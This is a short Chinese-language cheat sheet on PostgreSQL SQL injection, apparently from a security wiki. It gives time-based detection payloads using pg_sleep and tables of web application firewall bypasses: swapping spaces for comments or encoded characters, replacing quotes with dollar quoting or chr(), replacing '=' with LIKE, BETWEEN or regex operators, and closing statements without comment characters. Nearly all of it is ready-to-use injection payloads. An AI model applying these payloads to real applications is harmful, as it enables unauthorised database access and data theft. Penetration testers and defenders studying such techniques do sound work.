[!TIP|stype:flat]
可以多看看官方的文档,绕过可以尝试一些不常见的语法或函数:https://www.postgresql.org/docs/9.6/
快速发现漏洞
因为我们知道在postgresql中||是连接符,那么我们就可以使用如下方法快速发现漏洞
| 情况 | Payload | | —- | —- |
| 
整型注入
 | id=pg_sleep(10)
 |
| 
字符型注入
 | id=1'||pg_sleep(10)
 |
通用方法
通用的方法,就是万金油,无非就是大小写、双写、编码、注释、HPP、垃圾字符、分块传输、WAF特性
绕过空格
空格被过滤的情况,可以用如下的一些手法:
| 说明 | Payload | | —- | —- |
| 
注释符
 | /**/
 |
| 
URL编码空格
 | +
 |
| 
其他URL编码(换行、Tab等)
 | %0d、%0a、%09
 |
绕过单引号
单引号'被过滤,可以使用如下的手法
[!NOTE|style:flat]
所有的
|在使用都应该改为西文的|,不知道gitlab抽什么风,不给渲染,会导致格式变乱不能同时使用
'和$$$quote$
| Payload | 语句 | | —- | —- |
| 
 | select 1select 1,2$$;
 |
| 
$quote
 | select $quote$1$quote$select $quote$1$quote$,$quote$2$quote$;
 |
| 
||
 | select chr(97)||chr(98);
 |
绕过=
过滤了等号,可以用如下多种方法来绕过
官方文档:https://www.postgresql.org/docs/9.0/functions-matching.html
| Payload | 说明 | | —- | —- |
| 
<>
 | 不等符
 |
| 
select 1 between 1 and 2;
 | between语句
 |
| 
select '123' like '1%';
 | 模糊匹配
 |
| 
select 'abc' SIMILAR TO '%a%';select 'abc' SIMILAR TO '%a(b|d)%';
 | SIMILAR TO 正则匹配
 |
| 
select 'abc' ~ 'abc';select 'abc' ~ '^a';select 'abc' ~ '(b|d)';
 | POSIX正则匹配
 |
绕过注释符
对注释符过滤的情况下,对我们来说问题可能就是语句不能正常执行
解决办法也很简单,用完整语句给他闭合就OK了
# 原始?id=1# 完整闭合?id=1' and expr and '1'='1
